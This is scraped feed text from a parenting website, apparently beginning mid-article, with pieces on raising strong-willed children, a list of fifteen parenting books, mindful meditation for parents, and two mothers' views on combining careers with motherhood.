4. Keep in mind that they learn from experience

One reason that strong willed children appear to not listen to their parents is because they learn primarily through personal experience.

They learn from their first hand experience, rather than taking someone’s word on it, and therefore they test limits and boundaries.

A parent can say repeatedly “don’t touch the stove because it is hot”. The strong willed child will inevitably touch the stove for a millisecond to see for themselves that it is hot.

They learn from their experiences and tend to test parental advice rather than just listen to the advice provided.

They are listening though. They will likely challenge parental advice by seeing for themselves whether the advice has substance.

Because strong willed children learn from experience, safety is of utmost importance when they are young. These children can be highly determined to do things on their own.

You don’t want them falling down stairs or touching hot stoves, so protect them when they are young and don’t know any better. As they grow, they become smarter about their safety.

A strong willed child needs extra safety measures when they are young because of their determined spirit.

5. Listen to their reasons

Strong willed children usually have a reason behind their behavior. Allow the opportunity for them to explain themselves before you disagree with their decisions at face value.

Ask them “why” when things don’t make sense to you. Kids are not always logical, but the strong willed child usually has a reason behind their decisions and it is not just to defy you as the parent.

Allow them the opportunity to explain themselves, so you can better understand them and their decisions.

For example, your strong willed child may be refusing to wear the outfit that you laid out for them to wear to school. You lay out their outfit to make the morning routine go more smoothly and quickly. Their obstinance is not a welcomed part of the routine.

Rather than get angry and order them to put the outfit on, ask them why they don’t want to wear it.

To your surprise, there may be a logical explanation such as it is gym day and they need to wear clothing and shoes that are fitting for the activities.

Get to the bottom of the reason, so you can better understand their logic. Don’t assume that their refusal to follow the rules or routine is out of sheer disobedience.

Let their voice be heard, so they know that you are listening and you want to understand their reasons.

6. They need to know why

Strong willed children need to know the reasons behind a request. If you are asking them to stop jumping on the bed, your request for their obedience needs to be explained.

They have a strong will, which also means a strong need to understand the “why” behind things.

Explain to your child jumping on the bed that you don’t want them to get hurt or break a bone, like you did when you are kid.

Let them know that you are concerned about their safety and whatever other reasons you have behind the rule, so that they can understand your logic.

They don’t take rules at face value. They need to know the “why”, so be prepared to explain your reasons for your rules. The consequences should also be clearly explained.

That way, they know the logical reasons behind the rules and the consequences if the rules are not followed.

7. Use empathy and compassion

Strong willed kids need empathy, compassion, and respect. This can be difficult because strong willed children can appear obstinate and disobedient.

Parents have to understand that their child is not doing things for the sake of disobedience, rather the child has a strong will and determined spirit.

They have reasons behind what they do and why they do it. It takes extra compassion and empathy to seek understanding the child and why they do what they do.

For example, on a morning when you are already running late and your child is refusing to put on their shoes and you yell at them to put on their shoes now or you are leaving without them is lacking in compassion.

They may not want to wear those specific shoes because they are too tight. If you don’t take the time to ask them “why”, then compassion is lacking.

Take the time to talk to your child empathetically. This means a true desire to listen to them and their reasons. If they are not feeling listened to, then they will feel that you don’t care.

Listen with your full attention. This means stopping what you are doing and set electronics to the side while you communicate with your child.

Also, try to use a calm and loving tone when asking them their “why” and listen to their response. If you don’t listen to them, then who will?

If the child feels that they are not being heard or are being treated unfairly, their emotions will likely turn into behavioral issues.

Allow them to express themselves verbally, so that they don’t resort to physical expressions of their emotions, such as meltdowns, hitting others, or throwing things.

8. Repeated bad behavior is often a message

Strong willed children will often repeat themselves until they feel heard. This can also true with their bad behavior. They are often trying to communicate something to you because they are not feeling heard.

For example, that melt down in the store because you are ignoring their demands? Is it because they think that the melt down will get what they want or is it because they aren’t feeling heard?

When they ask a question, answer them and provide your reasons why. Don’t ignore them and hope they will stop asking. The strong willed child will not stop. They will escalate to the next level until they feel that they are being heard.

It doesn’t mean that they always get what they want. Instead, your goal should be to communicate that they have been heard and they are respectfully answered.

Yelling at them “no, because I am the Mom” is not a good approach when parenting a strong willed child. Instead answering with “no, we haven’t had lunch yet, but you can have a dessert after dinner if you a well behaved today”, will more likely result in good behavior.

The child feels that you listened to them and furthermore, you understood that their desire was for something sweet. Explaining that they can have something sweet later, as a result of their good behavior, puts the ball back in their court.

They now have the decision to be well behaved to get what they want later, or they can have a melt down which will result in the consequence of no dessert after dinner.

Children who are strong willed require more time because you need to listen more, explain more, discuss more, and respect more. It is a not an easy road.

However, the strong willed child can be a great success in life when their energies are channeled appropriately because things are clearly communicated. This communication is a two way street.

Don’t ignore their words until it escalates to bad behavior. If the behavior is seemingly out of control, then you need to help them verbalize their desires.

They are communicating something through their behavior. You need to help channel the behavior back into meaningful verbalization in order to figure out what they want and determine how to resolve the situation.

10. Weather the storm

It is not easy parenting a strong willed child. You will likely endure many storms while parenting your child.

Keep doing what is in the best interest of your child, keep listening to them, and keep loving them.

Don’t be defeated by the storms which can come as temper tantrums, bad behavior, and rebellion. Know that they will pass.

Know that you are not alone. There are parents out there also dealing with strong willed children.

If you are feeling overwhelmed, then its time to reach out for help. A counselor or therapist can help both you and the child. You can also find support groups on Facebook. Use the search term “strong willed child”.

Don’t go at it alone. Find support now so you can weather the next storm even better.

11. Embrace their strong will — It can make them successful

Strong willed children are determined individuals. If their spirit is not squashed, they can use that determination to become successful people as adults.

Parents obviously need to protect their children from harm, but the smaller issues should be let go.

Learn to differentiate between issues that matter and those that really don’t matter in the long run. Does it really matter if they wear mismatched socks to school? No, if that is what they want, then let it be.

Allow them to make some decisions, especially about their own body, without making an issue out of it.

You don’t want to break their spirit because someday that spirit is what will make them stand out in the world. They are their own person, with unique ideas, and a determined spirit that will help them become successful in life.

They are more likely to persevere through difficulties because of their determined spirit. Don’t break this spirit at a young age by demanding obedience for the sake of obedience.

Take the time to understand your child, their reasons, and allow them to make choices along the way.

12. Motivate them!

Strong willed children tend to be highly self motivated. This means that when they decide, they want to do something they really go for it.

Provide motivation for your child by providing incentives. Strong willed children can be motivated with the use of a reward system.

The use of the “CHART method”((Living Joy Daily: Yes, Bribery Can Be Good Parenting- Here’s How)) I developed can be especially helpful in parenting strong willed children. I have a strong willed six year old and this system is working great for her! Here is the article I wrote on the CHART method, so other parents can use this system as well.

Final thoughts

Having a strong willed child can be very challenging for a parent. If parents take the time to parent their strong willed child the right way, then this child can become a great success in life.

Strong willed children are not acting the way they do out of disobedience. It is their inner determined spirit that makes them want to do thing their own way.

They are highly motivated individuals and when that energy is channeled correctly, with their will in mind, then they can accomplish just about anything!

]]> https://briefnews.eu/12-tips-for-parenting-the-strong-willed-child-in-a-compassionate-way/feed/ 0 15 Insightful Parenting Books That Help Your Kids Start off a Healthy Life https://briefnews.eu/15-insightful-parenting-books-that-help-your-kids-start-off-a-healthy-life/ https://briefnews.eu/15-insightful-parenting-books-that-help-your-kids-start-off-a-healthy-life/#respond Tue, 04 Sep 2018 02:04:22 +0000 http://briefnews.eu/15-insightful-parenting-books-that-help-your-kids-start-off-a-healthy-life/ It wasn’t that long ago when the only resource that parents could reliably turn to were books. Nowadays, flipping through a book may not be most parents’ first instinct when looking for parenting advice.Instant access to blogs, websites, and forums provide multitudes of answers and “expert opinions,” which can either be helpful or contradicting and overwhelming. Books are still a valuable resource when it comes to parenting. Just because information is printed in a book does not mean it is infallible.However, it is much easier to find reliable reviews and criticisms of published works from reputable sources than of websites or blogs.The following parenting books discuss topics about parenting that start at conception and cover all the way to young adulthood.Whether you are looking for advice about disciplining your toddler, how to parent your spirited child, or cross-cultural parenting techniques, you will find everything you need in this list:

1. Expecting Better: Why the Conventional Pregnancy Wisdom is Wrong – and What You Really Need to Know, by Emily Oster

Parents are able to influence the development of their child the moment they are conceived, through factors such as the mother’s diet, the home environment, and secondhand smoke.There are countless activities that pregnant women are told can have a positive or negative impact on the baby, from eating sushi to prenatal yoga. But which of these are based on scientific evidence and which are just hearsay?Expecting Better delves into these widespread pregnancy beliefs and produces statistics and facts that spell out the actual risk associated with each. The book is laid out by in chronological order, from conception to delivery, and describes many of the most common worries that expectant mothers have.The overarching message of the book is that there is no right or wrong answer for anything when it comes to pregnancy.Get the book here!

2. The Science of Mom: A Research-Based Guide to Your Baby’s First Year, by Alice Callahan

This book addresses many of the questions that new mother have about their babies in the first six months of their lives. Many controversial topics are addressed, such as vaccines, breastfeeding, and sleep.The author has a PhD in nutrition and writes in detail about the types of food to introduce to your babies early on to meet all of their dietary needs. A variety of scientific studies are used throughout the book to serve as support for the author’s opinions, and Callahan also explains how the average person can discern the validity of studies and their claims.Get the book here!

3. No Bad Kids: Toddler Discipline Without Shame, by Janet Lansbury

As a new parent, it can seem like your tiny baby grows into a toddler overnight, and a new element of parenting is suddenly required – discipline. Not only are your little ones gaining mobility and independence, they are also developing their own personalities and trying to figure out how to navigate this confusing world.As an RIE teacher with over 20 years of hands on experience helping parents and their toddlers, Janet Lansbury is an expert in this field. This book is compilation of her most popular and widely read articles that she first published on her own website.The articles cover a wide range of topics, including tantrums, hitting, boundaries, and more. If you are struggling to find effective ways to discipline your tenacious toddler, this book might be just what you need.Get the book here!

4. Raising Your Spirited Child: A Guide for Parents Whose Child is More Intense, Sensitive, Perceptive, Persistent, and Energetic, by Mary Sheedy Kurcinka

All kids are NOT created equally. Some children are born with a natural tendency to be more strong-willed, and it is not at all a reflection of the way they have been parented. However, it does make parenting a more difficult task and can often leave parents feeling like they are doing something wrong.This book recognizes that these children need a slightly different approach and give parents strategies on how to deal with challenging situations, such as bedtime, mealtimes, sibling rivalry, school, and more.Rather than viewing the intensity of these children as obstacles, Kurcinka teaches parents how to re-frame their thinking to see the positive components of their behavior. It’s crucial that parents try to understand why their children are behaving the way they are and this book gives you tools to nurture challenging kids successfully.Get the book here!

5. Above All, Be Kind: Raising a Humane Child in Challenging Times, by Zoe Weil

Living in a society where senseless violence and animosity have become the new normal, the task of raising a kind and loving child can seem almost impossible. But what the world needs now, more than ever, are compassionate people who care about the environment, other living species, and all people.Weil advises parents on how to guide their children towards living a more humane life, but most importantly, living their own as a message and an example. All age groups are included, from the early years all the way to young adulthood, and activities, important issues, tips, and more are discussed for each.The four elements that Weil emphasizes in raising human children are providing information, teaching critical thinking, instilling reverence, respect, and responsibility, and offering positive choices. Being kind is not synonymous with grand gestures. The little things people do on a daily basis will make the biggest difference.Get the book here!

6. The Whole Brain Child: 12 Revolutionary Strategies to Nurture Your Child’s Developing Mind, by Daniel J. Siegel & Tina Payne Bryson

When your children decide to throw tantrums because you wouldn’t let them ride in the shopping cart standing up, are they doing that just to embarrass you in public and make you look like an incompetent parent?Not at all!They are simply adjusting to their rapidly developing minds and coming to terms with their desires and the parameters within which they must live. They are allowing their emotions to take over because they are not equipped to tackle the situation in a more rational manner.Siegel, a neuropsychiatrist, and Bryson, a parenting expert, teamed up to decode the complexities of the young developing mind to give you 12 strategies to transform challenging emotionally driven reactions into opportunities to help your children cultivate healthy development and productive behaviors for life.Get the book here!

7. Positive Parenting: An Essential Guide, by Rebecca Eanes

There are too many parenting books out there to read them all! Which ones are worth reading and which techniques are the most effective?Eanes does not claim to be a parenting “expert” but rather, a real mom, fully entrenched in the joy and hardships of parenthood. This book is the culmination of the parenting techniques she learned that actually worked for her family throughout the years, repackaged in an easy to ready format.The first half focuses solely on the parent and provides many tips on how to work on our response and emotions and increasing self-awareness before engaging with our children. She also includes many suggestions, techniques, and discussion questions to help you move from theory to practice.

So often, children are punished for being human. They are not allowed to have grumpy moods, bad days, disrespectful tones, or bad attitudes. Yet, we adults have them all the time. None of us are perfect. We must stop holding our children to a higher standard of perfection than we can attain ourselves.Get the book here!

8. How to Talk So Kids Will Listen & Listen So Kids Will Talk, by Adele Faber & Elaine Mazlish

It can be easy for parents to yell and lash out when their kids are having a meltdown for seemingly frivolous reasons. However, it’s important to remember that young kids need to be heard and understood, and they are expressing themselves in the only way they know how.This book helps parents to navigate the complicated but fragile methods of communication with their children that will tremendously impact their behavior and development.It’s crucial that parents acknowledge the feelings that their children are feeling and show them that they understand, before setting out to try to resolve the issue. Their feelings are valid and important and need to be expressed.Another point that is emphasized is to make correcting behavior about the behavior and not about the child. Changing the way parents talk to their children will lay a much stronger foundation for communication and improve the parent-child relationship tremendously.Get the book here!

9. Simplicity Parenting: Using the Extraordinary Power of Less to Raise Calmer, Happier, and More Secure Kids, by Kim John Payne

A growing trend towards minimalist living has many families purging their closets, downsizing their homes and going against the consumerist culture that advertising and the media promotes. This mindset can also be applied to parenting.Children do not need packed schedules full of activities or toy boxes filled to the brim. They also don’t need their parents to worry and obsess about their every move. To help parents adopt this more simplistic mindset, Payne gives suggestions such as streamlining your environment, establishing rhythms and rituals, scheduling breaks, scaling back on media, and lessening parental involvement.Don’t overwhelm your children with too many choices and then step back to allow them to grow into the people they are meant to become more independently.Get the book here!

10. Peaceful Parent, Happy Kids: How to Stop Yelling and Start Connecting, by Dr. Laura Markham

They say that you can catch more flies with honey than with vinegar. This mantra is true in many facets of life.Parents have a better chance of fostering deep, genuine relationships with their children if they use techniques that focus on love, compassion, empathy, and gentleness, rather than fear, strict rules, and discipline.Markham guides parents to get in touch with and master their own emotions, so that they can parent with empathy, open communication, and healthy limits, encouraging children to be self-disciplined and accountable for their own actions.

“What matters most: Stay connected and never withdraw your love, even for a moment. The deepest reason kids cooperate is that they love you and want to please you. Above all, safeguard your relationship with your child. That’s your only leverage to have any influence on your child. It’s what your child needs most. And that closeness is what makes all the sacrifices of parenting worth it.”

Get the book here!

11. NurtureShock: New Thinking About Children, by Po Bronson & Ashley Merryman

In contrast to typical parenting books, this book contradicts many commonly held beliefs about what is best for children and uses current social science studies as evidence for a new way of thinking.For example, several studies showed that kids who are commonly threatened with punishment lie more frequently and get better at doing it. Another chapter talks about the fact that when white parents don’t talk about the issue of race or bring attention to it, kids tend to form their own (racist) opinions about people who look different from them.Although some claims are lacking in details and specifics about how to tangibly apply it parenting practices, there is a lot of useful and surprising information to be gleaned from this book.Get the book here!

12. Playful Parenting, by Lawrence J. Cohen

According to Cohen, kids misbehave because they feel disconnected from their parents and not heard. They act out in order to get attention, even if it is negative attention.The best way to connect with kids is to speak the language they know best – playing. Frequent physical constant and being willing to play the fool are two key strategies that are emphasized in the book. Kids are made to feel foolish so often in their lives, when they are constantly being told what to do and being corrected.When the tables are turned, kids are able to see their parents in a more relatable light.Get the book here!

13. Smart Parenting for Smart Kids: Nurturing Your Child’s True Potential, by Eileen Kennedy-Moore & Mark S. Lowenthal

For kids who can be categorized as gifted or bright, different parenting techniques may be required in order to help these children achieve their highest potential, without feeling pressured.The four essential components of smart parenting are laid out: a compassionate ability to view the world through our children’s eyes, the confidence to set judicious limits, a commitment to turn toward our children more often than away, and faith in our children’s ability to grow and learn.In additional, seven fundamental challenges are addressed in great detail: tempering perfectionism, building connection, managing sensitivity, handling cooperation and competition, dealing with authority, developing motivation, and finding joy.If these are topics that resonate with you, this may be a helpful resource to help you help your kids succeed.Get the book here!

14. Beyond the Tiger Mom: East-West Parenting for the Global Age, by Maya Thiagarajan

After the massive success of the honest and confrontational book describing strict Chinese parenting techniques in practice, Battle Hymn of the Tiger Mother by Amy Chua, a massive debate was ignited, comparing Eastern and Western parenting styles.Which approach is better and more effective? Why do Asian students do so well in math and science?Thiagarajan is uniquely qualified to address these questions because of her personal experience growing up in India, and teaching in both the U.S. and Singapore. She explains the advantages and pitfalls of both methods of parenting and gives specific tips in a “How To” section in each chapter to aid Asian and Western parents in education and development both in and out of the classroom.Get the book here!

15. The Gentle Parent: Positive, Practical, Effective Discipline, by L.R. Knost

Many parents who are currently raising young kids did not grow up in a household where gentle parenting took place. Yelling, corporal punishment, and threats were commonly used means of discipline for many decades.Knost presents an alternative way of parenting – a gentle way – that is still as effective, if not more so. She explains the importance of treating children as people, with respect and one-another-love (Golden Rule).This book is centered around the implementation of the three C’s of gentle discipline – Connection, Communication, and Cooperation.Some suggestions for tools that parents can utilize in the place of yelling or aggression in include: prevention, remind and redirect, silliness, modeling, and teaching empathy.

“Yelling silences your message. Speak quietly so your children can hear your words, not just your voice.”

Get the book here!

Final thoughts

Being a good parent is a complicated and difficult challenge to take on.Many of us are still holding onto to mistakes that our parents made with us when we were kids, vowing not to do the same to our own children. But no parent is perfect, and everyone will inevitably get something wrong.These books are here to provide some guidance in tackling this impossible task. They have helped countless other parents in helping to communicate, understand, and relate to their children, so it may be worthwhile to give them a chance.

]]> https://briefnews.eu/15-insightful-parenting-books-that-help-your-kids-start-off-a-healthy-life/feed/ 0 How Mindful Meditation Can Improve Your Parenting Style https://briefnews.eu/how-mindful-meditation-can-improve-your-parenting-style/ https://briefnews.eu/how-mindful-meditation-can-improve-your-parenting-style/#respond Fri, 27 Apr 2018 15:38:10 +0000 http://briefnews.eu/how-mindful-meditation-can-improve-your-parenting-style/

Are you looking for ways to improve your parenting?

Of course; we all are! Anyone who is a parent is always looking to take their parenting skills to the next level and improve the balance in the household. Parenting styles don’t have to complicate our lives, but which style of parenting we choose does have a direct impact on how harmonious our lives with our children are.

Everyone has heard the terms “meditation” and “mindfulness”; but, were you aware that mindful meditation can bring about an amazing transformation in your parenting style?

It’s true! With just a few simple tips on meditation and being more present, your parenting style can see an amazing transformation in just a very short time.

Mindfulness Matters

Meditation is the practice of calming and centering the mind. Mindful meditation originated in India thousands of years ago as part of Hinduism.

Over the centuries, its amazing ability to transform our mind, body and soul have been taken on by Buddhism as well as many other cultures and religions.

Today, countless cultures around the world have embraced the physical, emotional and spiritual benefits that mindfulness can bring to our personal lives.

The Secret of Stress Free Parenting

Let’s face it, parenting can be hard and stressful!

It can also be quite amazing and rewarding to see the best aspects of ourselves standing in front of us in the form of our children.

To be the very best parents we can be, it’s crucial that we find productive ways to manage our stress. After all, our kids learn best by watching our behavior (this is called “modeling”) and if we don’t handle stress well, neither will they.

Adding a mindful meditation practice to your life, even if it’s just a few minutes a day, can transform your parenting style in several incredible ways:

  • You will feel a greater sense of calm and peace
  • You will be able to ebb and flow around daily challenges more easily
  • You will naturally be more patient with your child and yourself

Science Backs Up The Benefits

Researchers at Johns Hopkins University in Baltimore, MD conducted a recent study on the effects of a mindful meditation practice and it’s impact on stress and well-being. Their research looked at over 3500 people, and what they found was astonishing! [1]

They found that “the negative effect (of Anxiety, depression, and stress/distress) is improved in mindfulness programs”.

They also found that “mindfulness-based stress reduction reduces (physical) pain severity to a small degree” and that “Mindfulness meditation programs had moderate evidence of improved anxiety”.

Yet another study published by the National Institutes of Health found that a Mindfulness-Based Stress Reduction program “may have a beneficial effect on anxiety symptoms in generalized anxiety disorder, and may also improve stress reactivity and coping”. [2]

Clearly many experts recognize the ability of a mindful meditation practice to reduce stress and anxiety; and since parents seem to have an endless stream of stress and anxiety, this can certainly help make some positive changes.

Meditation Changes Our Brains

A recent study by the University of California in Los Angeles examined the links between aging, brain deterioration and meditation.

What they found was nothing short of amazing!

In their study, they reported that “meditation is brain-protective and associated with a reduced age-related tissue decline”. [3]

They went on to say that there is “scientifically solid evidence that meditation has brain (and mind) altering capacities (which can help with) healthy aging, but also pathological aging, such as is evident in mild cognitive impairment or Alzheimer’s disease”.

In short, if we focus on adding just a few minutes of mindful meditation to our daily rituals we can literally transform our minds and positively impact how our brains age.

We can then apply this to all aspects of our lives, including how we parent.

The Effects on Kids May Surprise You

Children face enormous pressures today compared to when we were kids.

Social media and technology can affect the brain negatively to create anxiety and stress that simply didn’t exist in past decades. We also have epidemics of ADD & ADHD and out of control rates of adolescent depression.

The good news is finding ways to incorporate a mindful mediation practice into your child’s life can have a significant impact.

A recent study by Clinical Child Psychology and Psychiatry found that “using the techniques of Sahaja Yoga Meditation . . . showed improvements in children’s ADHD behavior, self-esteem and relationship quality.” [4]

They went on to say that “Children described . . . better sleep patterns, less anxiety . . . and at school more able to concentrate, (and had) less conflict. Parents reported feeling happier, less stressed and more able to manage their child’s behavior”.

While kids may not have the patience for a daily or lengthy practice of seated meditation, just a few minutes several times a week can bring about a profound change in mood, attitude and stress-reduction!

The Magic Behind Mono-tasking

Mindfulness has come into fashion over the past decade.

Essentially it’s the practice of focusing our attention on what we are doing in the moment. With mindfulness, we focus on being 100% present to a person or action, instead of allowing our minds to be scattered across many thoughts and tasks.

Mindfulness removes the illusion that multi-tasking somehow makes us more productive. Instead it replaces that idea with mono-tasking: being laser focused on one thing at a time.

In doing this, we become more accepting of what we can’t change. We become more patient, caring and empathetic. It also naturally causes our relationships to improve as we will become more present and connected to those we interact with.

To dive deeper into exactly what mindfulness is take a look at the 10 Easy Ways To Practice Mindfulness .

Applying Mindfulness Makes Your Life 10x Better

In terms of how mindfulness can improve your life, let’s review the biggest positive impacts:

  • It helps regulate our emotions
  • It heightens our sensitivity to others and the world around us
  • We will more easily replace expectations with appreciation
  • It can strengthen our feelings of self-worth and self-esteem

In short, by making a choice to practice mindfulness and mindful meditation we are taking charge of our lives, our emotions and our minds. We are no longer simply reacting to the world around us, but taking responsibility for how we want to live our life.

3 Simple Ways to Start Meditating Today

So mindful meditation sounds great, right?

But, how do we incorporate that into our daily lives? More importantly, how can we practice mindfulness in a way that doesn’t eat up a lot of our precious time?

The answers can be surprisingly simple.

There are likely a million different ways to practice mindfulness and no one way is best.

In truth, what works for you may not work for someone else, and vice versa. Therefore, find what works for you and don’t worry if you’re doing it the “right” way.

The primary goal of mindful meditation is to calm your mind and clear away all the distractions and thoughts.

While practicing mindful meditation you may want complete quiet. Others, though, may like the challenge of tuning out a certain amount of background noise. And yet some others may prefer to listen to gentle music in the background.

Listed below are 3 incredibly easy ways to add a mindful meditation practice to your life:

#1 Seated Meditation

The easiest way to add a mindful meditation practice to our lives is to simply set aside anywhere from 5-15 minutes in your daily routine. Almost all of us, no matter how busy our lives, can spare an extra 5 minutes. Wake up 5 minutes earlier to start your day, so that you ensure you have plenty of time to practice.

Find a place with limited distractions and sit cross legged. The important thing is to try and eliminate all the distracting thoughts and focus your mind on one thing.

Focus on your breath, breathing in slowly through the nose and out through the mouth. Also, focus on a maintaining a strong and upright posture with the crown of your head pointing to the sky.

Many meditators like to focus on the pineal gland, or what’s known as our third eye.

The pineal gland is located inside the brain, but the gateway to it, the third eye, is considered by many to be located on the forehead in between our eyebrows. The pineal gland is where melatonin in our body is produced; thus focusing on it can help improve sleep regulation.

No matter what helps you quiet your mind, stay focused on that one thing.

When you find your thoughts drifting towards what to make the kids for dinner or last’s night’s spat with your spouse, simple breathe out and come back to your focus.

Even the most seasoned meditators occasionally find their thoughts drifting. So, be kind to yourself and clear your mind as often as is necessary. Don’t worry that you aren’t doing it perfectly.

#2 Practice Tai Chi

Think of Tai Chi as a form of moving meditation.

While it is a traditional Chinese martial art, it is a solo practice that does not (typically) involve contact or partner work. It is also a very slow and gentle practice that allows the practitioner to focus on breath and healthy movement.

Of course you can find a local Tai Chi class, but there are also plenty of YouTube videos that allow you to practice at home.

Unless you’re an expert, start with what’s called the Yang style short form which is features 24 different movements rather than the traditional 108 long form.

To dive in deeper, take a look at the 10 Benefits of Tai Chi .

#3 Practice Yoga

Yoga, too, is a centuries old practice.

It also comes in many styles, some more rigorous than others. What they all tend to have in common, though, is a calming and focusing of the mind through breath and healthy movement.

Like Tai Chi, you can certainly find a yoga studio near your home or work, but you can also find a multitude of videos that will enable you to practice at home.

The more rigorous among you may want to look into Bikram or Hot Yoga classes, which can be a very full bodied workout. For a more gentle approach you may prefer Hatha or a restorative “yin” style yoga.

But like any mindful meditation practice you will naturally see benefits physically, but also emotionally and spiritually. Dig deeper and learn What Yoga Can Teach Us About Productivity .

You’re Never Too Busy to Meditate

We all feel the pinch in our busy weeks of trying to find the time to add one more thing.

It’s clear from what we’ve learned that the benefits of adding a mindful meditation practice into our lives can be an amazingly transformational experience!

But how do we fit it into our busy and ever-increasing schedules?

Like anything else it has to be simple and it has to be something that doesn’t feel like we’re sacrificing.

We also need to be willing to fake it until we make it. In other words, like any new practice it may feel unnatural at first and it can take anywhere from 21-28 days (or longer) to form a new habit.

So be patient and stick with it.

Once you’re past the initial stages and the new habit is formed, mindful meditation will naturally and seamlessly become part of your new everyday routine. Here’s how to begin:

  1. Set a clear parenting goal or intention (to be more patient, to be more loving, to be more calm, etc.)
  2. Make your goals 1-3 things (remember we’re keeping this simple!)
  3. Write down your goals somewhere (the fridge is a great place)
  4. Start by dedicating just 5 minutes each morning to meditation (use whatever method you prefer; seated meditation, Tai Chi, yoga, etc)
  5. Push through on those mornings when you don’t want to do it (we all have those mornings)
  6. No matter which practice, focus on your breath and emptying the mind
  7. Close your eyes (to minimize distractions)
  8. Be kind to yourself (when you get distracted)
  9. With every breath try and release more tension in your body

As you start to get the new habit ingrained, you’ll start to see the tangible benefits of mindful meditation. Then you can begin to devote more time to it.

Just a few minutes a day really can make a big difference!

If you can meditate with your kids, then it becomes a family tradition and you all grow stronger together!

Become a Model Parent with Meditation

Meditation reduces stress and anxiety while bringing a greater sense of calm and patience to both you and your child. You will see amazing benefits from starting a mindful meditation practice.

In truth, adopting a mindful approach to life can not only improve your parenting style, but can bring about a positive change to all aspects of your life. So, don’t delay, begin practicing mindfulness meditation today and reap the incredible benefits for both you and your children.

Featured photo credit: Unsplash via unsplash.com

Reference

The post How Mindful Meditation Can Improve Your Parenting Style appeared first on Lifehack.

]]> https://briefnews.eu/how-mindful-meditation-can-improve-your-parenting-style/feed/ 0 Parenting: Mums battle over being a high-flying career woman and hands-on mum https://briefnews.eu/parenting-mums-battle-over-being-a-high-flying-career-woman-and-hands-on-mum/ https://briefnews.eu/parenting-mums-battle-over-being-a-high-flying-career-woman-and-hands-on-mum/#respond Thu, 12 Apr 2018 12:53:55 +0000 http://briefnews.eu/parenting-mums-battle-over-being-a-high-flying-career-woman-and-hands-on-mum/

Businesswoman with baby boy Shutterstock / Africa Studio

Holding down a career and having a child can put a strain on life but many mums make a success of it

IN A few weeks’ time New Zealand’s Prime Minister Jacinda Ardern will have her first child. She’s thought to be just the second world leader to give birth while in office, after Pakistan’s former prime minister the late Benazir Bhutto, who had a daughter, Bakhtawar, in 1990.

And although the pregnancy came as a surprise to her and her partner, TV presenter Clarke Gayford, 40, she’s not at all phased.

In fact Jacinda, 37, is planning to take six weeks’ maternity leave before getting back to running the country – with childcare help from her partner.

“Women multi-task all the time, I just happen to do it in a more public way,” she said.

Related articles

“I can only do everything because I have help, by which I mean Clarke: he’s going to be the primary care giver.”

But is it really possible to have it all? There are more working mothers in the UK than ever before, with the latest Office for National Statistics figures showing that there are 4.9 million women with dependant children in employment.

Yet research suggests women still do 60 per cent of the “unpaid work” in the household, including childcare, laundry and cooking.

Here, two women tell us how they juggle their jobs and being a mum.

—————————————————

Yes says Charlotte McMillan 

Charlotte, 46, runs a business and lives in Highbury, north London, with her husband Andrew, 47, a lawyer.

They have 12-year-old twins Robert and Sholto, and son Archie, nine.

When I heard that Jacinda Ardern was pregnant, I was really happy for her.

I’m half-Kiwi so I like to keep up with politics in New Zealand.

Like the rest of the world I’m eager to see how she manages to juggle being a world leader and having a baby.

Charlotte McMillan PH

Charlotte McMillan says ‘it’s definitely possible to have a career and be a mother’

It’s definitely possible to have a career and be a mother but it’s hard work.

I should know: I was a partner in a multinational law firm when my twins were born in 2006.

I took six months’ maternity leave and after that I was back in the office full time.

My husband was also a partner in a law firm so we had a nanny to help out during the day. 

At first I had romantic visions of being able to breastfeed the twins in the morning before work and in the evening when I got home. 

But I soon realised it wasn’t going to be as simple as that.

A week after I came back to the office I was working on a deal that was very time-sensitive.

I knew I was going to have to stay all night to get it finished.

In the middle of negotiations, I had to run home to breastfeed the twins and then come back to the office. 

Thankfully the client was understanding.

We didn’t finish the deal until six o’clock in the morning and when I got home, my husband was sitting on the sofa with one twin in each arm, looking shell-shocked.

It was then I realised it wasn’t going to be as easy as I’d hoped. 

But despite the difficulties we managed to make it work.

One of the things that helped me was letting go of control. 

Before children I was used to having control over everything in my life, but when I became a mum that all changed.

I had to realise that I wouldn’t be able to do a perfect job at work and be a perfect mother too.

I could still do a great job at both but I had to accept that sometimes the beds wouldn’t be made in the morning and I might not always be there to collect the kids from school.

I carried on working as a lawyer until 2014, when I started my own business – an online scrapbooking website called StoryChest (storychest.com).

Getting it off the ground has meant long, gruelling hours and I work now just as hard as ever before. But I’m happy to do it.

Family will always be important to me but being a mother doesn’t mean giving up on your dream career.

—————————————————

NO Says Jo Higgins

JO, 44, is a life coach and lives in Leicester with her husband Jonathan, 46, a publisher. 

They have two daughters Evie, 13, and Isla, seven.

Jo HigginsPH

Jo Higgins said she ‘felt guilty’ for quitting her job years after becoming a mum

It’s great to hear that Jacinda Ardern is having a baby while being Prime Minister.

But there’s no denying it’ll be hard to do both.

I did “have it all” for 10 years after my elder daughter was born.

I loved my job in the marketing department at underwear brand Bravissimo and I carried on working there when I became a mother.

Over the years I was promoted to director and before long I was on a six-figure salary, working 60 hours a week.

I was excelling in my career and I still made time to see my family too.

I used to tell people I was the happiest person I knew.

But there were times when it was difficult.

I had a C-section with my second daughter and I remember collapsing at the end of a meeting under the weight of a giant pile of papers I was carrying.

Jacinda Ardern GETTY

New Zealand’s Prime Minister Jacinda Ardern is pregnant with her first child

I hadn’t given my stomach time to heal properly and it put my back under too much pressure.

I staggered out to my car with the help of a colleague and managed to get home.

I carried on working and because I loved my job, it made the juggling worthwhile.

But after a while I realised that having a demanding career and a family meant I didn’t see my friends.

And after a decade of being a working mum I realised I wanted more time with my family too.

I was the main breadwinner and I felt guilty for quitting my job but it was the best decision I could have made.

After I left I took three months off and it was only then I realised how stressed I’d been. 

I retrained as a life coach and now I run my own business called Life Atlas Coaching (lifeatlascoaching.com).

It means I can be more flexible about the hours I work and move things around to suit my family.

Although my husband and I split the childcare equally, being a coach has made me realise we’ve still got a long way to go before we reach true equality for men and women.

I see a lot of my female clients trying to be the perfect mother and the perfect employee.

But when I ask what their partner does to help with childcare, they look at me blankly.

Either they haven’t spoken about sharing the childcare with their partner or they don’t trust them to do it.

I think we need to do more as a society to help men and women feel comfortable taking equal responsibility.

It’s fine to be a stay-at-home mum or to focus on your career, but you have to work out what matters most to you.

For me it was being able to eat dinner at the table with my family every night. It might seem like a small thing but it makes a big difference.

Now I eat with my family each evening. I still have a career but no matter what, my children always come first.

